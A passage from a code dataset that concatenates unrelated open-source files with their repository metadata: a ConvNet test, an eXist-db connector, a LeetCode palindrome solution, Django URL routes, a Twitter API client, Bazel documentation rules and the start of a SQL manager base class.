print("serialization error") preds = net.predict(test_data_set) conf_mat = nputils.create_confidence_matrix(preds, targets[150:], 10) print conf_mat num_correct = np.sum(conf_mat.diagonal()) num_all = np.sum(conf_mat[:, :]) print "Error rate: " + str(100 - (num_correct / num_all * 100)) + "% (" + str(int(num_correct)) + "/" + str(int(num_all)) + ")" def test_face_recognition(self): faces = imgutils.load_images('/home/simon/trainingdata/faces/', max_num=100) non_faces = imgutils.load_images('/home/simon/trainingdata/nonfaces/', max_num=100) faces_training = faces[0:50] faces_testing = faces[50:] non_faces_training = non_faces[0:50] non_faces_testing = non_faces[50:] inputs_training = np.array(faces_training + non_faces_training) targets_training = np.array([ [1, 0] for _ in range(len(faces_training))] + [ [0, 1] for _ in range(len(non_faces_training))]) data_set_training = NumericalDataSet(inputs_training, targets_training) inputs_testing = np.array(faces_testing + non_faces_testing) targets_testing = np.array([ [1, 0] for _ in range(len(faces_testing))] + [ [0, 1] for _ in range(len(non_faces_testing))]) data_set_testing = NumericalDataSet(inputs_testing, targets_testing) # 24x24 -> C(5): 20x20 -> P(2): 10x10 -> C(3): 8x8 -> P(2): 4x4 -> C(3): 2x2 -> p(2): 1x1 net_topo = [('c', 5, 8), ('p', 2), ('c', 3, 16), ('p', 2), ('c', 3, 24), ('p', 2), ('mlp', 24, 24, 2)] net = ConvNet(iterations=30, learning_rate=0.01, topo=net_topo) net.train(data_set_training) preds = net.predict(data_set_testing) conf_mat = nputils.create_confidence_matrix(preds, targets_testing, 2) num_correct = np.sum(conf_mat.diagonal()) num_all = np.sum(conf_mat[:, :]) print "Error rate: " + str(100 - (num_correct / num_all * 100)) + "% (" + str(int(num_correct)) + "/" + str(int(num_all)) + ")" # fig = plt.figure(1) # plt.set_cmap('gray') # num_rows = 6x-img.shape[0] # num_cols = 4 # fig.add_subplot(num_rows, num_cols, 1) # plt.imshow(faces[0]) # for fm_idx in range(4): # fig.add_subplot(num_rows, num_cols, num_cols*1 + fm_idx + 1) # plt.imshow(convolved1[fm_idx, :, :]) # fig.add_subplot(num_rows, num_cols, num_cols*2 + fm_idx + 1) # plt.imshow(pooled1[fm_idx, :, :]) # fig.add_subplot(num_rows, num_cols, num_cols*3 + fm_idx + 1) # plt.imshow(convolved2[fm_idx, :, :]) # fig.add_subplot(num_rows, num_cols, num_cols*4 + fm_idx + 1) # plt.imshow(np.array([[pooled2[0, fm_idx]]]), vmin=0, vmax=1) # fig.add_subplot(num_rows, num_cols, 21) # plt.imshow(np.array([[mlp_out[2][0, 0]]]), vmin=0, vmax=1) # fig.add_subplot(num_rows, num_cols, 22) # plt.imshow(np.array([[mlp_out[2][0, 1]]]), vmin=0, vmax=1) # # plt.show() def test_smoke(self): smoke_imgs_training = imgutils.load_images('/home/simon/smoke/training/smoke/', max_num=100) non_smoke_imgs_training = imgutils.load_images('/home/simon/smoke/training/non-smoke/', max_num=100) inputs_training = np.array(smoke_imgs_training + non_smoke_imgs_training) targets_training = np.array([ [1, 0] for _ in range(len(smoke_imgs_training))] + [ [0, 1] for _ in range(len(non_smoke_imgs_training))]) data_set_training = NumericalDataSet(inputs_training, targets_training) # 100x100 -> C(5): 96x96 -> P(2): 48x48 -> C(5): 44x44 -> P(2): 22x22 -> C(3): 20x20 -> P(2): 10x10 -> C(3): 8x8 -> P(2) 4x4 -> C(3): 2x2 -> P(2): 1x1 net_topo = [('c', 5, 8), ('p', 2), ('c', 5, 16), ('p', 2), ('c', 3, 24), ('p', 2), ('c', 3, 24), ('p', 2), ('c', 3, 24), ('p', 2), ('mlp', 24, 24, 2)] net = ConvNet(iterations=30, learning_rate=0.01, topo=net_topo) net.train(data_set_training) if __name__ == "__main__": #import sys;sys.argv = ['', 'Test.testName'] unittest.main()

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0.610457

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7,134

3.985521

0.179537

0.010656

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0.027125

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0.680701

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0.053763

0

null

0

null

0

1

0

1

b819490a0e749fdb6fa33717dab9405f34226e11

2,747

py

Python

docker/eXist-seed/app/connector.py

ThomasTos/Pogues-Back-Office

b346d94407bf36e37d705b1d220ab0775a120574

[ "MIT" ]

null

docker/eXist-seed/app/connector.py

ThomasTos/Pogues-Back-Office

b346d94407bf36e37d705b1d220ab0775a120574

[ "MIT" ]

23

2017-08-25T16:48:57.000Z

2022-02-16T00:55:42.000Z

docker/eXist-seed/app/connector.py

ThomasTos/Pogues-Back-Office

b346d94407bf36e37d705b1d220ab0775a120574

[ "MIT" ]

13

2017-07-03T09:15:36.000Z

2021-07-02T07:43:10.000Z

import requests from requests.auth import HTTPBasicAuth import sys import os from string import rfind import base64 class XdbException(Exception): '''Exist db connector exception''' class Connector: def __init__(self, url, user, password): self.url = url self.auth = HTTPBasicAuth(user, password) ''' Create collection ''' def create(self, root, collection): print "creating collection %s in %s ..." % (collection, root) params = { '_query': 'xmldb:create-collection("%s","%s")'% (root, collection) } response = requests.get('%s/exist/rest/db'% (self.url), auth=self.auth, params=params) if 200 != response.status_code: raise XdbException return '%s/%s'%(root, collection) ''' chmod resource Apply given permission on eXist-db resource, ''' def chmod(self, resource, permissions): print "setting permissions %s on %s "% (permissions, resource) params = { '_query': 'sm:chmod(xs:anyURI("%s"), "%s")'% (resource, permissions) } response = requests.get('%s/exist/rest/db'% (self.url), auth=self.auth, params=params) if 200 != response.status_code: raise XdbException ''' Put document to collection Collection will be created if it does not exist ''' def upload(self, fsPath, collection): print "storing from fs path %s to collection /%s ..." % (fsPath, collection) _, doc = os.path.split(fsPath) __, extension = os.path.splitext(doc) print 'extension, doc', extension, doc f = open(fsPath, 'r') xqm= f.read() f.close() content_types = { '.xqm': 'application/xquery', '.xq': 'application/xquery', '.xpl': 'application/xml', '.xquery': 'application/xquery', '.xml': 'application/xml', '.xconf': 'application/xml', '.xhtml': 'application/xml', '.xsl': 'application/xml' } headers = { 'Content-Type': content_types[extension] } response = requests.put('%s/exist/rest/% s/%s'% (self.url, collection, doc), auth=self.auth, headers=headers, data=xqm) if 201 != response.status_code: print str(response) raise XdbException return '%s/%s' % (collection, doc) ''' Execute a stored Xquery remotely ''' def execute(self, document): headers = { 'Content-Type': 'application/xquery' } response = requests.get('%s/exist/rest/%s'% (self.url, document), auth=self.auth, headers=headers) if 200 != response.status_code: raise XdbException return response

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0.581361

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2,747

5.273333

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0.037927

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1

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1

62982d88e6406e32cdc302d54bc0206efda33025

957

py

Python

LeetCode/0005_Longest_Palindromic_Substring.py

Achyut-sudo/PythonAlgorithms

21fb6522510fde7a0877b19a8cedd4665938a4df

[ "MIT" ]

144

2020-09-13T22:54:57.000Z

2022-02-24T21:54:25.000Z

LeetCode/0005_Longest_Palindromic_Substring.py

Achyut-sudo/PythonAlgorithms

21fb6522510fde7a0877b19a8cedd4665938a4df

[ "MIT" ]

587

2020-05-06T18:55:07.000Z

2021-09-20T13:14:53.000Z

LeetCode/0005_Longest_Palindromic_Substring.py

Achyut-sudo/PythonAlgorithms

21fb6522510fde7a0877b19a8cedd4665938a4df

[ "MIT" ]

523

2020-09-09T12:07:13.000Z

2022-02-24T21:54:31.000Z

''' Problem:- Given a string s, find the longest palindromic substring in s. You may assume that the maximum length of s is 1000. Example 1: Input: "babad" Output: "bab" Note: "aba" is also a valid answer. ''' class Solution: def longestPalindrome(self, s: str) -> str: res = "" resLen = 0 for i in range(len(s)): # odd length l, r = i, i while l >= 0 and r < len(s) and s[l] == s[r]: if (r - l + 1) > resLen: res = s[l:r + 1] resLen = r - l + 1 l -= 1 r += 1 # even length l, r = i, i + 1 while l >= 0 and r < len(s) and s[l] == s[r]: if (r - l + 1) > resLen: res = s[l:r + 1] resLen = r - l + 1 l -= 1 r += 1 return res

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957

38

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0

0.15

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null

0

1

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null

0

1

62a3ad6a413be7104ebcc620eae261f63aeb9314

1,234

py

Python

bookmarks/account/urls.py

dorotan/social

f78dc84554ef37c40f661ee1350bd3d5ade51d46

[ "Apache-2.0" ]

null

bookmarks/account/urls.py

dorotan/social

f78dc84554ef37c40f661ee1350bd3d5ade51d46

[ "Apache-2.0" ]

null

bookmarks/account/urls.py

dorotan/social

f78dc84554ef37c40f661ee1350bd3d5ade51d46

[ "Apache-2.0" ]

null

from django.conf.urls import url from django.contrib.auth import views as auth_views from django.contrib.auth import views from . import views urlpatterns = [ #Custom login view # url(r'^login/$', views.user_login, name='login'), #Builtin login view url(r'^login/$', auth_views.login, name='login'), url(r'^edit/$', views.edit, name='edit'), url(r'^logout/$', auth_views.logout, name='logout'), url(r'^logout_then_login/$', auth_views.logout_then_login, name='logout_then_login'), url(r'^$', views.dashboard, name='dashboard'), url(r'^password_change/$', auth_views.password_change, name='password_change'), url(r'^password_change/done/$', auth_views.password_change_done, name='password_change_done'), url(r'^password_reset/$', auth_views.password_reset, name='password_reset'), url(r'^password_reset/done/$', auth_views.password_reset_done, name='password_reset_done'), url(r'^password_reset/confirm/(?P<uidb64>[0-9A-Za-z]+)-(?P<token>.+)/$', auth_views.password_reset_confirm, name='password_reset_confirm'), url(r'^password_reset/complete/$', auth_views.password_reset_complete, name='password_reset_complete'), url(r'^register/$', views.register, name='register'), ]

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1,234

23

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0.157068

0

1

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false

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0.222222

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0.222222

0

null

0

null

0

1

0

1

62a3b336bd6bebedcff30395fd32342d7e3cb1c2

10,195

py

Python

examples/twitter.py

alex/remoteobjects

4fd1d03fc5ec041fa226d93bdf4a0188ce569b4c

[ "BSD-3-Clause" ]

1

2015-11-08T12:46:28.000Z

examples/twitter.py

alex/remoteobjects

4fd1d03fc5ec041fa226d93bdf4a0188ce569b4c

[ "BSD-3-Clause" ]

null

examples/twitter.py

alex/remoteobjects

4fd1d03fc5ec041fa226d93bdf4a0188ce569b4c

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python # Copyright (c) 2009 Six Apart Ltd. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # * Neither the name of Six Apart Ltd. nor the names of its contributors may # be used to endorse or promote products derived from this software without # specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. """ A Twitter API client, implemented using remoteobjects. """ __version__ = '1.1' __date__ = '17 April 2009' __author__ = 'Brad Choate' import httplib from optparse import OptionParser import sys from urllib import urlencode, quote_plus from urlparse import urljoin, urlunsplit from httplib2 import Http from remoteobjects import RemoteObject, fields, ListObject class User(RemoteObject): """A Twitter account. A User can be retrieved from ``http://twitter.com/users/show.json`` with the appropriate ``id``, ``user_id``, or ``screen_name`` parameter. """ id = fields.Field() name = fields.Field() screen_name = fields.Field() location = fields.Field() description = fields.Field() profile_image_url = fields.Field() protected = fields.Field() followers_count = fields.Field() status = fields.Object('Status') @classmethod def get_user(cls, http=None, **kwargs): url = '/users/show' if 'id' in kwargs: url += '/%s.json' % quote_plus(kwargs['id']) else: url += '.json' query = urlencode(filter(lambda x: x in ('screen_name', 'user_id'), kwargs)) url = urlunsplit((None, None, url, query, None)) return cls.get(urljoin(Twitter.endpoint, url), http=http) class DirectMessage(RemoteObject): """A Twitter direct message. The authenticated user's most recent direct messages are at ``http://twitter.com/direct_messages.json``. """ id = fields.Field() sender_id = fields.Field() text = fields.Field() recipient_id = fields.Field() created_at = fields.Field() sender_screen_name = fields.Field() recipient_screen_name = fields.Field() sender = fields.Object(User) recipient = fields.Object(User) def __unicode__(self): return u"%s: %s" % (self.sender.screen_name, self.text) class Status(RemoteObject): """A Twitter update. Statuses can be fetched from ``http://twitter.com/statuses/show/<id>.json``. """ created_at = fields.Field() id = fields.Field() text = fields.Field() source = fields.Field() truncated = fields.Field() in_reply_to_status_id = fields.Field() in_reply_to_user_id = fields.Field() in_reply_to_screen_name = fields.Field() favorited = fields.Field() user = fields.Object(User) @classmethod def get_status(cls, id, http=None): return cls.get(urljoin(Twitter.endpoint, "/statuses/show/%d.json" % int(id)), http=http) def __unicode__(self): return u"%s: %s" % (self.user.screen_name, self.text) class DirectMessageList(ListObject): entries = fields.List(fields.Object(DirectMessage)) def __getitem__(self, key): return self.entries.__getitem__(key) @classmethod def get_messages(cls, http=None, **kwargs): url = '/direct_messages.json' query = urlencode(filter(lambda x: x in ('since_id', 'page'), kwargs)) url = urlunsplit((None, None, url, query, None)) return cls.get(urljoin(Twitter.endpoint, url), http=http) @classmethod def get_sent_messages(cls, http=None, **kwargs): url = '/direct_messages/sent.json' query = urlencode(filter(lambda x: x in ('since_id', 'page'), kwargs)) url = urlunsplit((None, None, url, query, None)) return cls.get(urljoin(Twitter.endpoint, url), http=http) class UserList(ListObject): entries = fields.List(fields.Object(User)) def __getitem__(self, key): return self.entries.__getitem__(key) @classmethod def get_friends(cls, http=None, **kwargs): return cls.get_related("friends", http=http, **kwargs) @classmethod def get_followers(cls, http=None, **kwargs): return cls.get_related("followers", http=http, **kwargs) @classmethod def get_related(cls, relation, http=None, **kwargs): url = '/statuses/%s' % relation if 'id' in kwargs: url += '/%s.json' % quote_plus(kwargs['id']) else: url += '.json' query = urlencode(filter(lambda x: x in ('screen_name', 'user_id', 'page'), kwargs)) url = urlunsplit((None, None, url, query, None)) return cls.get(urljoin(Twitter.endpoint, url), http=http) class Timeline(ListObject): entries = fields.List(fields.Object(Status)) def __getitem__(self, key): return self.entries.__getitem__(key) @classmethod def public(cls, http=None): return cls.get(urljoin(Twitter.endpoint, '/statuses/public_timeline.json'), http=http) @classmethod def friends(cls, http=None, **kwargs): query = urlencode(filter(lambda x: x in ('since_id', 'max_id', 'count', 'page'), kwargs)) url = urlunsplit((None, None, '/statuses/friends_timeline.json', query, None)) return cls.get(urljoin(Twitter.endpoint, url), http=http) @classmethod def user(cls, http=None, **kwargs): url = '/statuses/user_timeline' if 'id' in kwargs: url += '/%s.json' % quote_plus(kwargs['id']) else: url += '.json' query = urlencode(filter(lambda x: x in ('screen_name', 'user_id', 'since_id', 'max_id', 'page'), kwargs)) url = urlunsplit((None, None, url, query, None)) return cls.get(urljoin(Twitter.endpoint, url), http=http) @classmethod def mentions(cls, http=None, **kwargs): query = urlencode(filter(lambda x: x in ('since_id', 'max_id', 'page'), kwargs)) url = urlunsplit((None, None, '/statuses/mentions.json', query, None)) return cls.get(urljoin(Twitter.endpoint, url), http=http) class Twitter(Http): """A user agent for interacting with Twitter. Instances of this class are full ``httplib2.Http`` HTTP user agent objects, but provide convenient convenience methods for interacting with Twitter and its data objects. """ endpoint = 'http://twitter.com/' def public_timeline(self): return Timeline.public(http=self) def friends_timeline(self, **kwargs): return Timeline.friends(http=self, **kwargs) def user_timeline(self, **kwargs): return Timeline.user(http=self, **kwargs) def show(self, id): return Status.get_status(id, http=self) def user(self, id, **kwargs): return User.get_user(http=self, **kwargs) def mentions(self, **kwargs): return Timeline.mentions(http=self, **kwargs) def friends(self, **kwargs): return UserList.get_friends(http=self, **kwargs) def direct_messages_received(self, **kwargs): return DirectMessageList.get_messages(http=self, **kwargs) def direct_messages_sent(self, **kwargs): return DirectMessageList.get_messages_sent(http=self, **kwargs) def show_public(twitter): print "## Public timeline ##" for tweet in twitter.public_timeline(): print unicode(tweet) def show_dms(twitter): print "## Direct messages sent to me ##" for dm in twitter.direct_messages_received(): print unicode(dm) def show_friends(twitter): print "## Tweets from my friends ##" for tweet in twitter.friends_timeline(): print unicode(tweet) def main(argv=None): if argv is None: argv = sys.argv parser = OptionParser() parser.add_option("-u", "--username", dest="username", help="name of user for authentication") parser.add_option("--public", action="store_const", const=show_public, dest="action", default=show_public, help="Show tweets from the public timeline") parser.add_option("--dms", action="store_const", const=show_dms, dest="action", help="Show DMs sent to you (requires -u)") parser.add_option("--friends", action="store_const", const=show_friends, dest="action", help="Show your friends' recent tweets (requires -u)") opts, args = parser.parse_args() twitter = Twitter() # We'll use regular HTTP authentication, so ask for a password and add # it in the regular httplib2 way. if opts.username is not None: password = raw_input("Password (will echo): ") twitter.add_credentials(opts.username, password) try: print opts.action(twitter) print except httplib.HTTPException, exc: # The API could be down, or the credentials on an auth-only request # could be wrong, so show the error to the end user. print >>sys.stderr, "Error making request: %s: %s" \ % (type(exc).__name__, str(exc)) return 1 return 0 if __name__ == '__main__': sys.exit(main())

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62a5341859cb97bf208e99d03085417e4406b355

1,119

py

Python

droxi/drox/write.py

andydude/droxtools

d608ceb715908fb00398c0d28eee74286fef3750

[ "MIT" ]

null

droxi/drox/write.py

andydude/droxtools

d608ceb715908fb00398c0d28eee74286fef3750

[ "MIT" ]

null

droxi/drox/write.py

andydude/droxtools

d608ceb715908fb00398c0d28eee74286fef3750

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- # # droxi # Copyright (c) 2014, Andrew Robbins, All rights reserved. # # This library ("it") is free software; it is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; you can redistribute it and/or modify it under the terms of the # GNU Lesser General Public License ("LGPLv3") <https://www.gnu.org/licenses/lgpl.html>. from __future__ import absolute_import import sys import importlib from .etree import etree from .config import DEBUG def drox_write(exp, fp=sys.stdout): fp.write(drox_write_string(exp) + '\n') def drox_write_tree(exp): if DEBUG: print("write <= " + repr(exp)) if hasattr(exp, '__tree__'): tree = exp.__tree__() else: name = '.'.join(type(exp).__module__.split('.')[:2]) modulename = name + '.writer' #print("modulename = " + modulename) lib = importlib.import_module(modulename) tree = lib.Writer()(exp) if DEBUG: print("write => " + repr(tree)) return tree def drox_write_string(exp): tree = drox_write_tree(exp) return etree.tostring(tree)

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0

null

0

null

0

1

0

1

62ad2faaa4417f27b1e2dd75edf9e858d937f1c1

5,786

bzl

Python

docs.bzl

es-ude/EmbeddedSystemsBuildScripts

276c3ca78ba8285cd26c3c10443d89ccc403a69c

[ "MIT" ]

3

2019-06-26T14:08:12.000Z

2020-03-10T06:24:46.000Z

docs.bzl

es-ude/EmbeddedSystemsBuildScripts

276c3ca78ba8285cd26c3c10443d89ccc403a69c

[ "MIT" ]

31

2019-06-10T10:50:58.000Z

2021-08-06T13:43:54.000Z

docs.bzl

es-uni-due/EmbeddedSystemsBuildScripts

276c3ca78ba8285cd26c3c10443d89ccc403a69c

[ "MIT" ]

5

2019-07-08T23:33:39.000Z

2020-10-11T20:35:25.000Z

def _doxygen_archive_impl(ctx): """Generate a .tar.gz archive containing documentation using Doxygen. Args: name: label for the generated rule. The archive will be "%{name}.tar.gz". doxyfile: configuration file for Doxygen, @@OUTPUT_DIRECTORY@@ will be replaced with the actual output dir srcs: source files the documentation will be generated from. """ doxyfile = ctx.file.doxyfile out_file = ctx.outputs.out out_dir_path = out_file.short_path[:-len(".tar.gz")] commands = [ "mkdir -p %s" % out_dir_path, "out_dir_path=$(cd %s; pwd)" % out_dir_path, "pushd %s" % doxyfile.dirname, """sed -e \"s:@@OUTPUT_DIRECTORY@@:$out_dir_path/:\" <%s | doxygen -""" % doxyfile.basename, "popd", "tar czf %s -C %s ./" % (out_file.path, out_dir_path), ] ctx.actions.run_shell( inputs = ctx.files.srcs + [doxyfile], outputs = [out_file], use_default_shell_env = True, command = " && ".join(commands), ) doxygen_archive = rule( implementation = _doxygen_archive_impl, attrs = { "doxyfile": attr.label( mandatory = True, allow_single_file = True, ), "srcs": attr.label_list( mandatory = True, allow_files = True, ), }, outputs = { "out": "%{name}.tar.gz", }, ) def _sphinx_archive_impl(ctx): """ Generates a sphinx documentation archive (.tar.gz). The output is called <name>.tar.gz, where <name> is the name of the rule. Args: config_file: sphinx conf.py file doxygen_xml_archive: an archive that containing the generated doxygen xml files to be consumed by the breathe sphinx plugin. Setting this attribute automatically enables the breathe plugin srcs: the *.rst files to consume """ out_file = ctx.outputs.sphinx out_dir_path = out_file.short_path[:-len(".tar.gz")] commands = ["mkdir _static"] inputs = ctx.files.srcs if ctx.attr.doxygen_xml_archive != None: commands = commands + [ "mkdir xml", "tar -xzf {xml} -C xml --strip-components=2".format(xml = ctx.file.doxygen_xml_archive.path), ] inputs.append(ctx.file.doxygen_xml_archive) commands = commands + [ "sphinx-build -M build ./ _build -q -b html -C {settings}".format( settings = _sphinx_settings(ctx), out_dir = out_dir_path, ), ] commands = commands + [ "tar czf %s -C _build/build/ ./" % (out_file.path), ] ctx.actions.run_shell( use_default_shell_env = True, outputs = [out_file], inputs = inputs, command = " && ".join(commands), ) sphinx_archive = rule( implementation = _sphinx_archive_impl, attrs = { "srcs": attr.label_list( mandatory = True, allow_files = True, ), "doxygen_xml_archive": attr.label( default = None, allow_single_file = True, ), "master_doc": attr.string(default = "contents"), "version": attr.string( mandatory = True, ), "project": attr.string( default = "", ), "copyright": attr.string(default = ""), "extensions": attr.string_list(default = [ "sphinx.ext.intersphinx", "sphinx.ext.todo", ]), "templates": attr.string_list(default = []), "source_suffix": attr.string_list(default = [".rst"]), "exclude_patterns": attr.string_list(default = ["_build", "Thumbs.db", ".DS_Store"]), "pygments_style": attr.string(default = ""), "language": attr.string(default = ""), "html_theme": attr.string(default = "sphinx_rtd_theme"), "html_theme_options": attr.string_dict(default = {}), "html_static_path": attr.string_list(default = ["_static"]), "html_sidebars": attr.string_dict(default = {}), "intersphinx_mapping": attr.string_dict(default = {}), }, outputs = { "sphinx": "%{name}.tar.gz", }, ) def add_option(settings, setting, value): if value != None or len(value) == 0: settings = settings + ["-D {setting}={value}".format(setting = setting, value = value.replace(" ", "\ "))] return settings def _sphinx_settings(ctx): settings = [] extensions = ctx.attr.extensions settings = add_option(settings, "version", ctx.attr.version) if ctx.attr.project == "": settings = add_option(settings, "project", ctx.workspace_name) else: settings = add_option(settings, "project", ctx.attr.project) if ctx.attr.doxygen_xml_archive != None: extensions = extensions + ["breathe"] settings = add_option(settings, "breathe_projects." + ctx.workspace_name, "xml") settings = add_option(settings, "breathe_default_project", ctx.workspace_name) settings = add_option(settings, "copyright", ctx.attr.copyright) settings = add_option(settings, "master_doc", ctx.attr.master_doc) for extension in extensions: settings = add_option(settings, "extensions", extension) for template in ctx.attr.templates: settings = add_option(settings, "templates", template) for suffix in ctx.attr.source_suffix: settings = add_option(settings, "source_suffix", suffix) for pattern in ctx.attr.exclude_patterns: settings = add_option(settings, "exclude_patterns", pattern) settings = add_option(settings, "html_theme", ctx.attr.html_theme) for path in ctx.attr.html_static_path: settings = add_option(settings, "html_static_path", path) setting_string = " ".join(settings) return setting_string

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null

0

1

0

null

0

1

62b63fa1744965ed736f83868f1e02cf4c32335f

16,566

py

Python

szndaogen/data_access/manager_base.py

seznam/szndaogen

e33436893d9d933bee81c0cfb9a0ca4ce4d261b5

[ "MIT" ]

3

2021-07-20T14:10:22.000Z

2022-03-21T10:28:15.000Z

szndaogen/data_access/manager_base.py

seznam/szndaogen

e33436893d9d933bee81c0cfb9a0ca4ce4d261b5

[ "MIT" ]

null

szndaogen/data_access/manager_base.py

seznam/szndaogen

e33436893d9d933bee81c0cfb9a0ca4ce4d261b5

[ "MIT" ]

null

import typing from ..tools.log import Logger from .db import DBI from .model_base import ModelBase from ..config import Config class ManagerException(BaseException): pass class ViewManagerBase: MODEL_CLASS = ModelBase def __init__(self, dbi: DBI = None): """ Init function of base model manager class :param dbi: Instance of database connector. If empty it will be created automatically. Instance of DBI is usualy used with combination of transaction wrapper @DBI.transaction("dbi") """ self.dbi = DBI() if dbi is None else dbi self.bulk_insert_buffer_size = 50 self.bulk_insert_sql_statement = "" self.bulk_insert_values_buffer = [] @classmethod def create_model_instance(cls, init_data: dict = None) -> ModelBase: if init_data is None: init_data = {} return cls.MODEL_CLASS(init_data) def select_one( self, *args, condition: str = "1", condition_params: typing.Tuple = (), projection: typing.Tuple = (), order_by: typing.Tuple = (), ) -> ModelBase: """ Select one row from DB table or View :param projection: sql projection - default * :param args: Primary keys or condition and condition_params if there are no primary keys :param condition: SQL Condition (Will be used if there are no positional args from primary keys) :param condition_params: Positional params for SQL condition (Will be used if there are no positional args from primary keys) :param order_by: Params for SQL order by statement """ base_condition = self.MODEL_CLASS.Meta.SQL_STATEMENT_WHERE_BASE if args: condition = self._prepare_primary_sql_condition() condition_params = args projection_statement = ", ".join(projection) if projection else "*" order_by_sql_format = ", ".join(order_by) limit = 1 if base_condition == "1": where_statement = f"WHERE ({condition})" if condition else "" else: where_statement = f"WHERE {base_condition} AND ({condition})" if condition else f"WHERE {base_condition}" order_by_statement = f"ORDER BY {order_by_sql_format}" if order_by else "" limit_statement = f"LIMIT {limit}" if limit else "" sql = self.MODEL_CLASS.Meta.SQL_STATEMENT.format( PROJECTION=projection_statement, WHERE=where_statement, ORDER_BY=order_by_statement, LIMIT=limit_statement, OFFSET="", ) Logger.log.info("ViewManagerBase.select_one.sql", manager=self.__class__.__name__) result = self.dbi.fetch_one(sql, condition_params) Logger.log.info("ViewManagerBase.select_one.result", result=result, manager=self.__class__.__name__) if Config.MANAGER_AUTO_MAP_MODEL_ATTRIBUTES: return self.MODEL_CLASS(result).map_model_attributes() if result else None return self.MODEL_CLASS(result) if result else None def select_all( self, condition: str = "1", condition_params: typing.Tuple = (), projection: typing.Tuple = (), order_by: typing.Tuple = (), limit: int = 0, offset: int = 0, ) -> typing.List[ModelBase]: """ Select all rows matching the condition :param offset: SQL offset :param projection: sql projection - default * :param condition: SQL condition :param condition_params: Positional params for SQL condition :param order_by: Params for SQL order by statement :param limit: Params for SQL limit statement """ base_condition = self.MODEL_CLASS.Meta.SQL_STATEMENT_WHERE_BASE projection_statement = ", ".join(projection) if projection else "*" if base_condition == "1": where_statement = f"WHERE ({condition})" if condition else "" else: where_statement = f"WHERE {base_condition} AND ({condition})" if condition else f"WHERE {base_condition}" order_by_sql_format = ", ".join(order_by) if len(order_by) > 0: order_by_statement = f"ORDER BY {order_by_sql_format}" else: if self.MODEL_CLASS.Meta.SQL_STATEMENT_ORDER_BY_DEFAULT: order_by_statement = f"ORDER BY {self.MODEL_CLASS.Meta.SQL_STATEMENT_ORDER_BY_DEFAULT}" else: order_by_statement = "" limit_statement = f"LIMIT {limit}" if limit else "" offset_statement = f"OFFSET {offset}" if offset else "" sql = self.MODEL_CLASS.Meta.SQL_STATEMENT.format( PROJECTION=projection_statement, WHERE=where_statement, ORDER_BY=order_by_statement, LIMIT=limit_statement, OFFSET=offset_statement, ) Logger.log.info("ViewManagerBase.select_all.sql", manager=self.__class__.__name__) results = self.dbi.fetch_all(sql, condition_params) Logger.log.info("ViewManagerBase.select_all.result", result=results, manager=self.__class__.__name__) if Config.MANAGER_AUTO_MAP_MODEL_ATTRIBUTES: Logger.log.debug("ViewManagerBase.select_all.result.list.automapped") return [self.MODEL_CLASS(result).map_model_attributes() for result in results] Logger.log.debug("ViewManagerBase.select_all.result.list") return [self.MODEL_CLASS(result) for result in results] @staticmethod def models_into_dicts(result: typing.List[ModelBase]) -> typing.List[typing.Dict]: """ Convert result of select_all into list of dicts :param result: List of models """ return [item.to_dict() for item in result] @classmethod def _prepare_primary_sql_condition(cls): args = ["{} = %s".format(primary_key) for primary_key in cls.MODEL_CLASS.Meta.PRIMARY_KEYS] return " AND ".join(args) @classmethod def _prepare_primary_sql_condition_params(cls, model_instance: ModelBase): return [model_instance.__getattribute__(attribute_name) for attribute_name in cls.MODEL_CLASS.Meta.PRIMARY_KEYS] class TableManagerBase(ViewManagerBase): def update_one(self, model_instance: ModelBase, exclude_none_values: bool = False, exclude_columns: list = None) -> int: """ Update one database record based on model attributes :param model_instance: Model instance :param exclude_none_values: You can exclude columns with None value from update statement :param exclude_columns: You can exclude columns names from update statement :return: Number of affected rows """ exclude_columns = exclude_columns or [] if not self.MODEL_CLASS.Meta.PRIMARY_KEYS: raise ManagerException("Can't update record based on model instance. There are no primary keys specified.") set_prepare = [] set_prepare_params = [] for attribute_name in self.MODEL_CLASS.Meta.ATTRIBUTE_LIST: value = model_instance.__getattribute__(attribute_name) if (exclude_none_values and value is None) or attribute_name in exclude_columns: continue set_prepare.append("`{}` = %s".format(attribute_name)) set_prepare_params.append(value) condition_prepare = self._prepare_primary_sql_condition() condition_prepare_params = self._prepare_primary_sql_condition_params(model_instance) sql = "UPDATE `{}` SET {} WHERE {} LIMIT 1".format( self.MODEL_CLASS.Meta.TABLE_NAME, ", ".join(set_prepare), condition_prepare ) Logger.log.info("TableManagerBase.update_one.sql", manager=self.__class__.__name__) result = self.dbi.execute(sql, set_prepare_params + condition_prepare_params) Logger.log.info("TableManagerBase.update_one.result", result=result, manager=self.__class__.__name__) return result def insert_one( self, model_instance: ModelBase, exclude_none_values: bool = False, exclude_columns: list = None, use_on_duplicate_update_statement: bool = False, use_insert_ignore_statement: bool = False, ) -> int: """ Insert one record into database based on model attributes :param model_instance: Model instance :param exclude_none_values: You can exclude columns with None value from insert statement :param exclude_columns: You can exclude columns names from insert statement :param use_on_duplicate_update_statement: Use ON DUPLICATE KEY UPDATE statement :param use_insert_ignore_statement: Use INSERT 